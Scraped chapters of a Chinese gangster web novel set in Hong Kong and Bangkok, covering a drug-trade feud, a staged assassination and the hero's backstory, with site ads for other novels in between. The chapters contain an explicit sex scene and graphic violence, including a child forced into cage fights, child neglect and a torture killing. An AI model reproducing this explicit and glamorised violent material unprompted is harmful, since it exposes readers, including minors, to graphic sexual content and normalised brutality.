  裴司低笑,没接话,只是仰头喝了口酒。冰块在琥珀色的液体里轻轻碰撞,发出清脆的声响。
  阿媚见他不拒绝,胆子更大,整个人几乎贴在他身上,手指不安分地往他衬衫领口里探:楼上房间我开好了,比上次那间更安静......她故意用膝盖蹭了蹭他裤子下紧绷的大腿肌肉,您要不要......试试我新学的泰式按摩?
  裴司垂眸看她,黑眸深不见底。阿媚被他这眼神看得心跳加速,红唇微张,呵气如兰:保证让您舒服......
  是么?他忽然伸手,拇指重重碾过她涂着口红的唇瓣,力道大得蹭花了她精心描绘的唇线,上次你也是这么说的。
  阿媚吃痛,却更兴奋了。她就喜欢裴司这股狠劲,比起那些对她百依百顺的男人,这种若即若离的征服感才更刺激。
  这次不一样~她舔了舔被蹭花的唇角,抓住他的手往自己裙底带,我特意为裴生学了......
  阿媚的指尖勾着裴司的手,牵引着他往自己裙底探去。黑色蕾丝下早已泥泞一片,湿热的触感透过薄薄布料传来。她红唇微张,呵出的热气带着甜腻的酒香:裴生摸摸看……
  裴司垂眸,神色晦暗不明,任由她带着自己的手按在那片湿漉漉的布料上。阿媚得寸进尺,抓着他的手腕往更深处压,让他的指节陷入柔软饱满的阴唇间。
  上次那个小丫头……她喘息着凑近他耳畔,另一只手揉捏着自己半露的胸脯,指甲刮蹭着挺立的乳尖,哪有我懂伺候人?
  酒吧昏暗的灯光下,她看见裴司唇角勾起一抹似笑非笑的弧度,那双黑眸深不见底,像蛰伏的兽。这眼神让她浑身发烫,腿心不自觉地又泌出一股热流,浸透了他的指尖。
  裴生……她扭着腰蹭他,红唇几乎贴上他的喉结,楼上房间有面大镜子……我想看着您操我……
  裴司突然收拢手指,隔着布料重重碾过她肿胀的阴蒂。阿媚啊地一声惊叫,却见他慢条斯理抽回手。
  换香水了?
  阿媚动作一顿,浓密的假睫毛眨了眨,她扭着腰肢蹭上他的大腿,从裙底扯下条湿透的蕾丝内裤,您上回不是说喜欢这'午夜迷情'的味道?
  沾着水光的指尖勾着黑色布料在裴司眼前晃了晃,浓郁的晚香玉混着麝香扑面而来。这味道太冲,让他想起尖沙咀那些彻夜不关门的夜总会,脂粉堆里泡久了的女人都带着这种甜到发腻的腥气。
  难闻。
  阿媚脸色变了变,很快又堆起媚笑。她干脆跨坐上来,湿淋淋的阴户直接隔着西裤磨蹭他胯间的轮廓,涂着丹蔻的手指解开他两颗衬衫纽扣,舌尖舔过泛着油光的唇,您以前...可是最喜欢这个姿势...
  裴司掐住她乱扭的腰,她娇呼一声,他低头看她涨红的脸。
  以前?他嗤笑一声,拇指重重碾过她嘴角晕开的口红,我睡过的女人太多,记不清了。
  啪
  阿媚被猛地掀翻在地,后腰重重磕在玻璃茶几边缘。她吃痛地闷哼一声,黑色蕾丝裙卷到大腿根,精心打理的卷发散乱地黏在汗湿的脖颈上。
  裴司站起身,慢条斯理地整理着被她扯乱的衬衫袖口,居高临下地睨着她。
  回去告诉索温,他声音很轻,却让阿媚浑身发冷,他既然敢背着我和温慕云碰头,那以后马尼拉的货,就让他自己想办法运。
  阿媚瞳孔一缩,涂着鲜红指甲油的手指无意识地抓紧地毯。
  裴、裴生......她强撑着媚笑想爬起来,却被裴司锃亮的皮鞋尖抵住肩膀,重新压回地上。
  还有你。裴司俯身,指尖掐住她下巴,力道大得让她疼出眼泪,下次再往我酒里下药......我就把你送回金叁角。
  阿彪适时推开包厢门,身后跟着两个黑衣手下。裴司松开手,接过阿龙递来的湿毛巾,慢条斯理地擦着每一根碰过她的手指。
  送客。
  阿媚被拖出去时,酒吧的霓虹正好转成血色,映在她惨白的脸上。裴司站在街边点了支烟,看着那辆载着她的丰田消失在巷尾。
  老大,索温那边......阿彪欲言又止。
  不急。裴司吐出一口烟圈,烟雾中眼底寒光凛冽,先让何家陪他玩玩。
  烟雾缭绕中,他眯了眯眼,脑海里莫名闪过温梨那张带着几分娇嗔的脸。
  他嗤笑一声,掐灭了烟。
  “回酒店。”
  曼谷的夜色像融化的黄金,从酒店落地窗俯瞰,整座城市灯火璀璨。裴司站在窗前,指间夹着的香烟已经燃到尽头,烟灰缸里堆满了烟蒂。
  他掐灭最后一支烟,转身看向那张凌乱的大床。
  裴司皱了皱眉,脑海里却莫名闪过温梨身上的气息,玫瑰混着荔枝的甜香,还有少女特有的干净味道。那晚在曼谷酒店,她蜷在他怀里睡着时,发丝间飘散的也是这种香气。
  电话就摆在床头,黑色的机身泛着冷光。裴司盯着它看了几秒,鬼使神差地拿起听筒,拨通了温公馆的号码。
  
  夜已深,温公馆的书房内只亮着一盏昏黄的台灯。
  温慕云坐在宽大的红木书桌后,金丝眼镜下的目光沉静如水。电话铃声突兀地响起,他伸手接起,听筒里传来索温急促的声音。
  “温大少,裴司已经知道我们见面的事了。”
  温慕云唇角微勾,指尖轻轻敲击着桌面,“这确实有些麻烦。”
  索温的声音透着几分焦躁:“他放话说要断我的货!温大少,我们之前谈好的合作……”
  “别急。”温慕云打断他,语气温和却不容置疑,“裴司那边,我会处理。至于马尼拉的货,温家答应你的,一分都不会少。”
  电话那头沉默了几秒,索温似乎稍稍冷静下来:“温大少,你确定能搞定裴司?”
  温慕云轻笑一声,镜片后的眸光微闪:“在泰国,有些事……未必需要亲自动手。”
  挂断电话后,温慕云缓缓靠回椅背,指尖轻轻摩挲着桌面。
  他拿起另一部电话,拨通了一个号码。
  “阿泰,事情安排好了吗?”
  电话那头传来一个低沉的男声:“大少放心,人已经就位,明晚何少霆一定会‘意外’死在索温的地盘上。”
  温慕云淡淡“嗯”了一声,挂断电话。
  他站起身,走到窗前,望着夜色中的香港。
  他本想借裴司的手除掉何家坐收渔翁之利,可裴司千不该万不该碰温梨。
  何家在泰国的势力庞大,一旦何伟雄认定儿子死在裴司手里,裴司就再也回不了香港。
  温慕云轻轻推了推金丝眼镜,唇角勾起一抹极淡的弧度。
  翌日,曼谷。
  何少霆搂着两个衣着暴露的舞女,摇摇晃晃地走出私人会所。他喝得满脸通红,肥胖的身躯几乎压垮了身旁娇小的女伴。
  “何少,今晚去我那儿?”其中一个舞女娇笑着往他怀里蹭。
  何少霆咧嘴一笑,油腻的手掌在她臀上狠狠捏了一把:“去,当然去!本少爷今天高兴!”
  他刚迈下台阶,突然,一声尖锐的刹车声划破夜空!
  一辆黑色轿车猛地冲上人行道,车门拉开,两个蒙面人跳下车,动作极快地逼近何少霆。
  “你们干什么?!知不知——”
  何少霆的怒吼戛然而止。
  “砰!砰!”
  两声枪响,何少霆肥胖的身躯轰然倒地,鲜血瞬间洇红了白色西装。两个舞女尖叫着四散逃开,而那辆黑色轿车早已扬长而去,消失在曼谷的夜色中。
  半个小时后,何伟雄的车队急刹在会所门前。
  车门猛地推开,何伟雄踉跄着冲下来,双眼布满血丝。他死死盯着地上那具被白布盖住的尸体,白布已经被血浸透,黏腻地贴在地上,勾勒出何少霆臃肿的轮廓。
  “谁干的?!”何伟雄的声音嘶哑,手指颤抖着掀开白布一角,何少霆那张肥腻的脸已经惨白,眉心一个黑洞洞的枪眼,凝固的惊恐还残留在脸上。
  “何爷……”手下战战兢兢地递上一枚弹壳,铜质弹壳底部,赫然刻着索温帮派的标记,一条盘踞的眼镜蛇。
  何伟雄捏着那枚弹壳,指节发白。
  索温……
  他忽然想起这几日裴司的反常。
  “裴司……”何伟雄的牙齿几乎咬碎,眼底的怒火烧得通红。
  索温不过是条看门狗,没有裴司授意,他敢动何家的人?!
  何伟雄猛地将弹壳攥进掌心,锋利的边缘割破皮肉,鲜血顺着指缝滴落。他抬头,声音冷得像淬了冰:“传话下去,我要裴司的命。”

榻上欢:皇叔,有喜了!
尼图
女扮男装的小皇帝竟然被皇叔睡了,为堵住二人断袖的悠悠之口,皇叔决定为皇帝纳妃。“皇叔,朕不举,无法纳妃。”“无妨。”“皇叔,朕膝下无子,无人送终。”“无妨。” “皇叔,朕的洞房花烛夜你怎能进来

晴空万里 / 发表于: 2025/10/13 07:51:08

34 局中局
  曼谷的雨来得又急又猛,豆大的雨点砸在酒店玻璃上,发出噼啪的声响。
  裴司站在落地窗前,指间夹着一支烟,烟雾在潮湿的空气中缭绕。电话铃声突兀地响起,他伸手接起,听筒里传来阿彪急促的声音。
  “老大,何少霆死了。”
  裴司唇角微勾,眼底闪过一丝冷意。
  “怎么死的?”
  “两枪,眉心一枪,胸口一枪,用的是索温帮派的枪。”阿彪顿了顿,声音压低,“何伟雄的人已经查到弹壳了,现在整个华人街区都在传,是您授意索温干的。”
  裴司低笑一声,指间的烟灰轻轻一弹,落进水晶烟灰缸里。
  “传得倒快。”
  阿彪犹豫了一下,又道:“何伟雄放话了,要您的命。”
  裴司没说话,目光落在窗外被雨水模糊的霓虹灯上。何少霆的死在他意料之中,温慕云的动作比他预想的要快。他故意让索温假意投靠温慕云,演了一出“背叛”的戏码,就是为了让温慕云放松警惕。
  现在,何少霆死了,用的是索温的枪,矛头直指他裴司。
  何伟雄不是傻子,温家在这个时候认回他这个“二少爷”,绝不是为了认祖归宗。温家和何家做的什么生意,何伟雄心知肚明。现在儿子死了,他第一个怀疑的,自然是裴司。
  “老大,要不要先撤?”阿彪的声音透着紧张。
  “不急。”裴司语气平静,“让索温按计划行事。”
  
  温公馆,书房。
  温慕云坐在红木书桌后,金丝眼镜下的目光沉静如水。电话里,索温的声音带着几分得意:“温大少,事情办妥了,何少霆已经死了。”
  温慕云唇角微勾,指尖轻轻敲击着桌面:“做得干净吗?”
  “绝对干净。”索温压低声音,“用的是我帮派的枪,何伟雄现在肯定以为是裴司指使的。”
  温慕云轻笑一声,镜片后的眸光微闪:“很好。”
  挂断电话,他缓缓靠回椅背,指尖摩挲着桌角。
  何少霆一死,何伟雄绝不会放过裴司。而裴司一旦死在泰国,温家就能名正言顺地接手何家在菲律宾的生意。
  至于温梨……
  他垂眸,眼底闪过一丝晦暗。
  
  曼谷,何家庄园。
  何伟雄站在灵堂前,脸色阴沉得可怕。何少霆的遗像摆在正中,照片里的年轻人笑得油腻又愚蠢,如今却成了一具冰冷的尸体。
  “裴司……”何伟雄的指节捏得发白,眼底的怒火几乎要烧穿理智。
  他猛地转身,对身后的手下厉声道:“给我查!裴司现在在哪儿?!”
  手下战战兢兢地递上一份文件:“何爷,刚刚收到消息,裴司今晚会去码头,说是要见一批货……”
  何伟雄冷笑一声,眼底杀意凛然。
  “备车。”
  夜色深沉,曼谷码头笼罩在浓重的雾气中。
  裴司站在集装箱旁,指尖的烟在黑暗中明明灭灭。阿彪站在他身后,低声道:“老大,何伟雄的人已经盯上来了。”
  裴司“嗯”了一声,神色平静。
  远处,几辆黑色轿车无声地驶入码头,车灯刺破雾气,照出何伟雄那张阴沉的脸。
  裴司抬眸,唇角勾起一抹冷笑。
  “来了。”
  码头的探照灯刺破雨幕,何伟雄从车里跨出来,锃亮的皮鞋踩在湿漉漉的水泥地上。他身后十几个马仔齐刷刷下车,清一色黑西装,腰间鼓鼓囊囊别着家伙。
  裴司倚在集装箱边没动,指尖的烟烧到尽头,猩红的火点映着他冷峻的侧脸。阿彪和几个手下装作慌乱地往他身边靠,手按在腰间,一副如临大敌的模样。
  “裴司!”何伟雄的怒吼混着雨声砸过来,眼里的血丝在惨白的灯光下格外瘆人,“把我儿子还来!”
  裴司慢条斯理把烟头碾灭在集装箱的铁皮上,金属发出“嗤”的轻响。他抬眼,语气平静得可怕:“何叔,节哀。”
  “节你老母!”何伟雄猛地从后腰掏出把黑星手枪,枪口直指裴司眉心,“索温是你养的狗!全曼谷谁不知道?!”他手指发抖,扳机扣得咔咔响,“我待你不薄啊裴司……马尼拉的生意让利叁成,连温慕云都没这个待遇!”
  雨水顺着裴司的眉骨往下淌,他笑了笑:“何叔,您这就不讲道理了。”他摊开手,露出空空如也的掌心,“索温上星期就叛了我,转头投了温慕云,这事道上谁不知道?”
  何伟雄的枪口晃了晃,集装箱阴影里突然传来“咔嗒”一声轻响。何伟雄猛地回头,只见索温带着二十几个马仔从货堆后走出来,每把枪都对准了何家的人。
  “何爷,”索温咧嘴一笑,金牙在灯光下泛着冷光,“您儿子真不是我杀的。”他扔了一盘录音带丢在何伟雄脚下,“但我知道是谁下的令。”
  录音机“滋啦”一声开始转动,温慕云温润的嗓音混着电流杂音传遍码头:“……何少霆必须死在索温的地盘上,用他们的枪。”
  何伟雄的脸色瞬间惨白。
  索温吩咐手下把备用的录音带放进便携录音机里,机器沙沙转动,温慕云温润如玉的嗓音在雨夜里格外清晰:……何少霆必须死在索温的地盘上。
  何伟雄的脸色瞬间惨白,手里的黑星枪管微微发颤。他猛地一脚踹翻录音机,塑料外壳在水泥地上裂成两半。
  温、慕、云——他咬牙切齿地挤出这叁个字,额角青筋暴起。
  裴司慢条斯理地从西装内袋掏出一张照片,两指夹着递过去。
  照片上,温慕云正与索温在曼谷的茶楼密谈,金丝眼镜下的笑意温和依旧,指尖推过去的信封鼓鼓囊囊,不用猜也知道里面装的是什么。
  “何叔,温慕云要的不只是何家。”裴司的声音混着雨声,“他要借您的手除掉我,再吞了您菲律宾的赌场和……那条水上通道。”
  何伟雄的枪“啪嗒”掉在地上,他佝偻着背去捡。
  裴司弯腰先他一步拾起那把黑星,熟练地退出弹匣看了看,又“咔”地推回去。他走到何伟雄面前,把枪轻轻塞回对方颤抖的手里。
  何伟雄的胸口剧烈起伏,他突然抬手一枪打爆了头顶的探照灯!玻璃碎片混着火星四溅,码头瞬间陷入昏暗。借着月光,只见他布满血丝的眼睛死死盯着裴司:你他妈也不是好东西!这局做得漂亮啊……让老子白发人送黑发人!
  集装箱阴影里传来整齐的拉枪栓声,裴司的人马从四面八方围上来。阿彪趁机凑到何伟雄耳边低语:何爷,我们老大要是真想动您,您现在早该和令公子黄泉相见了。
  裴司突然摘下被雨水打湿的西装外套,随手扔给手下。白衬衫下精壮的腰身上,赫然缠着一圈绷带。
  温慕云雇的越南仔,他扯开绷带露出狰狞伤口,冷笑,何叔,现在您还觉得我和他是一伙的?
  何伟雄的枪口终于垂了下来,他抹了把脸上的雨水,突然暴起一脚踹翻旁边的油桶,铁桶滚进海里溅起巨大水花。
  你要什么?他喘着粗气问。
  裴司从索温手里接过一支钢笔,在照片背面写下一串数字。
  何叔,马尼拉赌场的叁成股份您自己留着,换温慕云的命。他将照片塞进何伟雄胸前的口袋,指尖轻轻点了点,至于那条水上通道……
  远处突然传来警笛声,红蓝警灯刺破雨幕。
  何伟雄的手下顿时骚动起来,裴司却纹丝不动,反而凑近他耳边低语:……就当给令公子的陪葬品。
  警笛声越来越近,何伟雄从牙缝里挤出一句话:我要温慕云的人头祭我儿子!
  裴司后退两步,在警车冲进码头的瞬间,带着人马隐入集装箱迷宫。
  最后一瞥中,他看见何伟雄正对着赶来的警察举起双手。

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,一个普通的大三学生,开局被甩,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开····· ...

晴空万里 / 发表于: 2025/10/13 07:51:20

番外 •观音土
  九龙城寨的雨季总是带着腐烂的味道。
  雨水从铁皮屋檐滴落,在水泥地上凿出深浅不一的坑洼。
  六岁的裴司蹲在巷口,积水里漂浮的烟头和死蟑螂。隔壁阿婆的收音机在放粤曲,咿咿呀呀的调子混着楼下赌档的咒骂声。
  巷口茶餐厅后门,穿白褂的伙计正把馊水桶往泔水车倒,半只油鸡腿滑落在污水里。
  他盯着墙角那只瘸腿的流浪狗,狗嘴边的白沫滴在鸡腿上,那是从泔水车里混落出来的,沾着鱼鳞的泔水。
  浑浊的狗眼死死地盯着他,喉咙里滚出低沉的呜咽。
  雨水顺着他的额发滴落,空气里只有雨声和狗粗重的喘息。
  狗低头撕咬鸡腿的瞬间,裴司扑了上去。
  他揪住狗耳朵往水泥地上撞,指甲掐进皮肉里。狗吃痛松口,尖牙在他手腕划出血痕。裴司没松手,另一只手直接插向狗眼。
  狗哀嚎着松开了鸡腿,裴司抢过就跑,蹿上废木箱时被狗咬住了裤脚。
  他抬脚踹在狗鼻子上,瘸腿的畜生终于松口。缩在铁皮棚顶的角落,他攥着鸡腿的手指关节发白,牙齿撕下带着狗口水的肉,泔水味掩盖了鸡腿原本的味道,可他却吃的很香。
  死仔!又偷我鸡腿!
  油腻的巴掌扇过来时,裴司已经缩进墙角。左脸火辣辣的,他舔了舔嘴角的血,眼睛盯着摊主裤袋里露出的半截钱包。
  还敢看?摊主抬脚就踹。
  裴司滚到一旁,污水浸透了单薄的衣衫。
  他蜷缩着护住头,等摊主骂骂咧咧走远才爬起来,裤袋里多了个皱巴巴的钱包。
  巷子深处的阿婆关上了窗,粤曲声戛然而止。雨水冲淡了地上的血丝,裴司抹了把脸,往深巷里去。
  雨水从铁皮棚顶的破洞滴落,在水泥地上积成浑浊的水洼。
  裴司蜷缩在墙角,用牙齿咬紧布条一端,另一只手缠住渗血的伤口。
  布条太短,他不得不把结打得很紧,勒得皮肉发白。
  楼上传来女人压抑的呻吟,床板吱呀作响,男人的喘息粗重浑浊,夹杂着几句下流的调笑。
  他习以为常地靠在潮湿的墙板上,仰头望着漏雨的屋顶。水珠顺着铁皮接缝滑落,滴在他眼角,顺着脸颊流到下巴。
  那个生下他的女人,此刻正躺在肮脏的床铺上,用身体换一包白粉。
  她毒瘾发作时,会揪着他的头发往墙上撞,扯着嘶哑的嗓子叫他去巷口站着揽客,几蚊钱就能让人摸一把。
  死仔!滚出去!别在这里碍眼!
  枯瘦的手指攥着他的衣领,将他推出门外。
  他站在昏暗的巷子里,听着身后木门砰地关上。
  月光下,他蜷缩在横在几栋楼之间那潮湿的隔板上,隔壁的阿婆偶尔会丢给他半块发霉的面包,但更多时候,他得和野狗抢食。
  那些狗比他壮,牙齿比他尖,但他比它们更狠。
  有一次,他饿极了,偷了鱼档的边角料,被老板追着打。他躲进巷子深处,却被几个大孩子堵住。
  他们抢走他怀里的鱼骨,按着他的头往污水里浸,笑他是婊子养的野种。
  他一声不吭,直到他们松开手,他才猛地扑上去,咬住领头那人的耳朵,生生撕下一块肉。
  血喷进他嘴里,腥咸的味道让他作呕,但他死死咬着,直到对方哀嚎着逃开。
  那晚,他蹲在屋顶,看着月亮,发现这世上没什么值得他在意的。
  感情是无用的,它只会让人软弱,让人变成任人宰割的羔羊。
  他吐掉嘴里的血沫,从隔板上跳下来,踩着积水往更深处的黑暗走去。
  月光照不到的地方,才是他的归宿。
  
  铁笼里的血腥味比城寨的阴沟还浓。
  裴司蜷缩在角落,手腕上的铁链随着呼吸发出细碎的声响。笼子外,上一个被打死的拳手刚被拖出去,几个纹着花臂的男人正往地上泼水冲淡血迹。
  你给我介绍的就是这种货色?瘦得跟猴似的。穿花衬衫的泰国人用脚尖踢了踢铁笼,金牙在昏暗的灯光下泛着黄。
  阿炳吐了口槟榔渣,油腻的手拍了拍裴司的脸:别看这小子瘦,咬起人来比狗还狠。他转头对金牙笑,放两条狗试试?
  笼门哐当打开,两条斗牛犬冲了进来。畜生嘴角滴着涎水,犬齿上还沾着上场比赛残留的血肉。
  咬死他!有人用泰语高喊。
  第一条狗扑上来时,裴司猛地侧身。铁链限制了他的移动范围,犬齿还是撕开了他肩膀的皮肉。
  温热的血涌出来,刺激得第二条狗狂吠着冲向他咽喉。
  咔嚓!
  裴司用铁链勒住狗脖子,整个人骑在狗背上发狠地绞。
  狗爪在他大腿上抓出深可见骨的伤痕,他连眉头都没皱一下。
  另外一条狗再次扑来,他松开死狗,猛地扑上去用牙齿撕咬开狗喉咙,滚烫的血喷了满脸。
  笼外突然安静了。
  金牙满意地看着笼子里那个血人,十二岁的男孩正用狗毛擦手上的血,黑沉沉的眼睛透过铁栏盯着他们。
  加叁成。
  阿炳咽了口唾沫:……五成。
  当夜,裴司被锁在更小的铁笼里,手脚都铐上铁链。
  伤口没有处理,血痂黏着破烂的衣衫。
  远处传来赌客的欢呼声,某个倒霉鬼正被活活打死在擂台上。
  月光从仓库顶的破洞漏进来,照在他微微发抖的手指上,不是怕,是饿,他已经叁天没吃东西了。
  裴司蜷在角落,手腕上的铁链磨破了皮,结痂又裂开,血锈味黏在皮肤上。
  小疯狗,今晚打巨象。看守用铁棍敲着笼子,赢了有饭吃。
  巨象是这里的常胜将军,一个两百多磅的泰国壮汉,上个月刚用膝盖压碎了一个缅甸拳手的喉骨。
  他被关在地下太久,出来后场子里的灯亮得刺眼。
  裴司眯着眼适应光线时,巨象还在和看台上的观众们欢呼,他高举双臂展示肌肉,根本没把笼角那个瘦小的身影放在眼里。
  叁分钟!聚光灯下裁判比划着手势,叁分钟解决这只小老鼠!
  铜铃敲响的瞬间,巨象像座肉山般压来。观众席爆发出兴奋的尖叫,有人已经开始数秒:一、二...
  数到叁时,裴司像只壁虎般贴着地面滑到巨象胯下,指甲抠进对方膝盖后的软肉。巨象吃痛弯腰,他趁机蹿上后背,细瘦的手臂缠上粗壮的脖子。
  操!这小崽子...
  巨象怒吼着去抓背后的裴司,却只抓到一手空气。
  他的双腿绞住腰腹,臂弯越收越紧。
  观众席上有人往笼子里扔酒瓶,碎玻璃在裴司背上划出血痕。
  巨象的眼球开始充血,他疯狂后仰,想把背上的小怪物砸在铁笼上。
  砰!
  裴司的后背撞上铁栏,他闷哼一声,手臂却纹丝不动。巨象的拳头擦着他太阳穴砸在笼子上,铁网凹陷下去一块。
  缺氧让巨象的动作越来越慢,当这个庞然大物轰然倒地时,看台上静了一秒,随即爆发出更疯狂的呐喊。
  直到裁判强行掰开他的手臂裴司才松手,巨象的舌头紫胀着耷拉在外面,眼球凸得像要爆出来。
  金牙在笼外鼓掌,从今天起,你就是我的场馆里的明星拳手。
  那晚裴司蹲在笼子里得到了一份的叉烧饭,还有一管消炎药膏。
  叁年后,曼谷地下拳场的灯光比往日更加刺眼。
  裴司站在铁笼中央,汗水顺着精瘦的背脊滑落,在灯光下泛着冷光。
  他不再是当年那个瘦弱的少年,肌肉线条凌厉得像一把出鞘的刀,每一寸都淬着血腥气。
  台下观众疯狂呐喊着他的名字,赌徒们挥舞着钞票,将筹码压在他身上。
  疯狗!疯狗!疯狗!
  金牙靠在软椅上,金链子在灯光下晃得刺眼。
  他叼着雪茄,眯眼盯着笼子里的人,笑得志得意满。
  这小子现在一场比赛能给我赚这个数。他冲身旁的合伙人比了个手势,得意道,比当年买他时翻了百倍不止。
  笼子里,裴司的对手是个苏联来的壮汉,身高近两米,胸口纹着狰狞的熊头。
  裁判刚敲响铜铃,苏联人就咆哮着冲上来,拳头带风,直砸向裴司面门。
  裴司没躲,他微微偏头,拳头擦着耳际而过,下一秒,他的膝盖已经狠狠顶在对方肋下。
  苏联人闷哼一声,踉跄后退,裴司却像鬼魅般贴上去,手肘精准砸在对方喉结上。
  咔嚓一声脆响,苏联人捂着喉咙跪倒在地,脸色涨红,眼球凸出,像条搁浅的鱼般拼命喘息。
  观众席爆发出震耳欲聋的欢呼,赌徒们疯狂地挥舞着赢来的钞票。
  裴司面无表情地退开,任由裁判举起他的手宣布胜利。
  他的目光扫过台下,金牙正冲他咧嘴笑,金牙在灯光下泛着贪婪的光。
  干得好!金牙拍着他的肩膀,递来一瓶冰镇啤酒,下一场打'屠夫',那家伙的赔率已经炒到1:10了,你赢了他,老子给你双倍分成!
  裴司接过啤酒,没喝,只是随手放在一旁。他低头缠着手上的绷带,嗓音低冷:我要叁倍。
  金牙一愣,随即哈哈大笑:行!你小子现在学会讨价还价了?
  裴司没回答,只是抬眼看向金牙,黑沉沉的眸子里没有一丝温度。
  
  叁个月后,曼谷警方在一间废弃仓库里发现了一具尸体。
  死者是个泰国人,嘴里镶着金牙,死状凄惨,喉骨碎裂,四肢被生生折断,像是被人用最残忍的方式活活折磨致死。
  而裴司早已消失无踪。
  有人说他偷渡回了香港,也有人说他去了金叁角,更有人说他成了某位大佬的贴身保镖。
  但无论如何,那个曾经在铁笼里厮杀的少年,再也不会回来了。

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”